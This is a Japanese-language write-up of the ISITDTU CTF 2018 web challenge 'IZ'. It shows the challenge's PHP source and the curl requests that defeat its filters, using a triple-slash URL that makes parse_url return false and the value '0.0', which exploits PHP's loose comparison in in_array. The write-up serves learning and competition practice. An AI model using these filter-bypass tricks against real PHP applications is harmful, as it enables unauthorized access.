ISITDTU CTF 2018 - IZ
問題文
It's just PHP !!!
http://35.185.178.212/

<?php include "config.php"; $number1 = rand(1,100000000000000); $number2 = rand(1,100000000000); $number3 = rand(1,100000000); $url = urldecode($_SERVER['REQUEST_URI']); $url = parse_url($url, PHP_URL_QUERY); if (preg_match("/_/i", $url)) { die("..."); } if (preg_match("/0/i", $url)) { die("..."); } if (preg_match("/\w+/i", $url)) { die("..."); } if(isset($_GET['_']) && !empty($_GET['_'])) { $control = $_GET['_']; if(!in_array($control, array(0,$number1))) { die("fail1"); } if(!in_array($control, array(0,$number2))) { die("fail2"); } if(!in_array($control, array(0,$number3))) { die("fail3"); } echo $flag; } show_source(__FILE__); ?>
writeup
ソースコードを眺める。
URLおよび_パラメータのフィルタリング機能を全て突破すればフラグゲットできるようだ。
なお、単純に以下コマンドを実行すると、ソースコードどおり弾かれた。
root@kali:~# curl "http://35.185.178.212/?_=0" ...
Stage1
まずは以下のフィルタリングを回避する。
$url = urldecode($_SERVER['REQUEST_URI']);
$url = parse_url($url, PHP_URL_QUERY);
if (preg_match("/_/i", $url))
{
die("...");
}
if (preg_match("/0/i", $url))
{
die("...");
}
if (preg_match("/\w+/i", $url))
{
die("...");
}
parse_urlのマニュアルの注意を見る。
PHP: parse_url - Manual
parse_urlはhttp://から始まるような絶対URLをパースするための関数だが、$_SERVER['REQUEST_URI']は、/から始まるパスを返却する。ここの不整合を利用するのだろう。
何か方法がないかWeb上を調べていると、以下の記事を発見する。
skysec.top
parse_urlに///x.php?key=valueを渡すと、Falseを返却するとのこと。
実際に試してみる。/と//と///の3種類を試してみる。
php > var_dump(parse_url("/x.php?key=value"));
array(2) {
["path"]=>
string(6) "/x.php"
["query"]=>
string(9) "key=value"
}
php > var_dump(parse_url("//x.php?key=value"));
array(2) {
["host"]=>
string(5) "x.php"
["query"]=>
string(9) "key=value"
}
php > var_dump(parse_url("///x.php?key=value"));
bool(false)
本当だった。
早速、問題サーバに対して試してみる。
root@kali:~# curl "http://35.185.178.212///?_=0" <code><span style="color: #000000"> (snip) </span> </code>
_パラメータがクエリ文字列に存在するにも関わらず、if (preg_match("/_/i", $url))をバイパスできた。
Stage2
$number1 = rand(1,100000000000000); $number2 = rand(1,100000000000); $number3 = rand(1,100000000); (snip) if(isset($_GET['_']) && !empty($_GET['_'])) { $control = $_GET['_']; if(!in_array($control, array(0,$number1))) { die("fail1"); } if(!in_array($control, array(0,$number2))) { die("fail2"); } if(!in_array($control, array(0,$number3))) { die("fail3"); } echo $flag; }
3つのin_arrayのフィルタリングを突破すればよい。0または乱数のどちらかにマッチすればよい条件となっている。3種類の乱数とのマッチは非現実的であるため、0とマッチさせる方法を考える。
単純に_パラメータに0をセットすると、!empty($_GET['_'])に弾かれる。
in_arrayの仕様を確認する。以下の記事を参考にさせて頂いた。
qiita.com
phpの柔軟さのおかげで、整数と小数がマッチしてしまうようだ。
0.0であれば、!empty($_GET['_'])に弾かれない。
問題サーバに対して試してみる。
root@kali:~# curl "http://35.185.178.212///?_=0.0"
ISITDTU{php_bad_language}<code><span style="color: #000000">
(snip)
</span>
</code>
フラグゲット。